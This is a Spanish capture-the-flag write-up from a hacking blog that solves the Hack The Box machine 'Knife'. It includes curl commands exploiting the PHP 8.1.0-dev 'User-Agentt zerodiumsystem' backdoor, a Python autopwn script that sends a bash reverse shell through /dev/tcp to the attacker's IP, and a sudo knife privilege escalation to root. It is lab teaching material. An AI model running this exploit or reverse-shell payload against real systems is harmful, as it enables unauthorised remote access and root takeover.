lund@home:~$

Autor: Lund K. S.

HTB_Knife HTB_Knife | Hacker-Blog

HTB_Knife

Knife {-}

Introduccion {-}

La maquina del dia se llama Knife.

El replay del live se puede ver aqui

S4vitaar Knife maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.242

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.242

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.242 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 tcp Conneccion directa creds
80 tcp Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.242

Es un Apache 2.4.41 en un Ubuntu Con una version 8.1.0-dev de PHP.

Checkear la web {-}

Si entramos en la url http://10.10.10.242, No vemos gran cosas tenemos que aplicar Fuzzing.

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.242/FUZZ
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,txt-php http://10.10.10.242/FUZZ.FUZ2Z

Tampoco encontramos gran cosa por aqui.

Analyzamos las cabezeras de la respuesta al lado del servidor {-}

curl -s -X GET http://10.10.10.242 -I

No vemos nada. Miramos por la version de php que parece un poco rara.

Vulnerability Assessment {-}

php 4.1.0-dev {-}

Si buscamos en google pro PHP 8.1.0 exploit vemos una pagina que habla de User-Agent Remote Code Execution.

La vulnerabilidad aqui reside en poner un User-Agentt con 2 T con un zerodiumsystem command.

"User-Agent": "Mozilla/5...."
"User-Agentt": "zerodiumsystem('" + COMMANDO + "');"

Lo intentamos

curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('whoami');"
#Output 
james
...

curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');" head -n 1

Vuln exploit & Gaining Access {-}

Ganando accesso con un Autopwn en Pyton {-}

#!/usr/bin/python3

from pwn import *

def def_handler(sig, frame):
    print("\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
main_url = "http://10.10.10.242/"
lport = 443

def makeRequest():

    headers = {
        'User-Agentt': 'zerodiumsystem("bash -c \'bash -i >& /dev/tcp/10.10.14.15/443 0>&1\'");'
    }

    r = requests.get(main_url, headers=headers)

if __name__ == '__main__':

    p1 = log.progress("Pwn Web")
    p1.status("Explotando vulnerabilidad PHP 8.1.0-dev - User Agentt Remote Code Execution")

    time.sleep(2)

    try:
        threading.Thread(target=makeRequest, args=()).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=20).wait_for_connection()

    if shell.sock is None:
        p1.failure("No ha sido posible comprometer el sistema")
        sys.exit(1)
    else:
        p1.success("Comando inyectado exitosamente")
        shell.sendline("sudo knife exec -E 'exec \"/bin/sh\"'")
        shell.interactive()

Lo lanzamos con el commando python3 autopwn.py

whoami
#Output
james

hostname -I
#Output
10.10.10.242

Privilege Escalation {-}

Rootear la maquina {-}

id
sudo -l

Podemos ejecutar el commando /usr/bin/knife como el usuario root sin proporcionar contraseña.

buscando por gtfobins, vemos que podemos usar este commando para ejecutar una shell.

sudo knife exec -E 'exec "/bin/bash"'
whoami
#Output 
root

Ya podemos leer la flag root.txt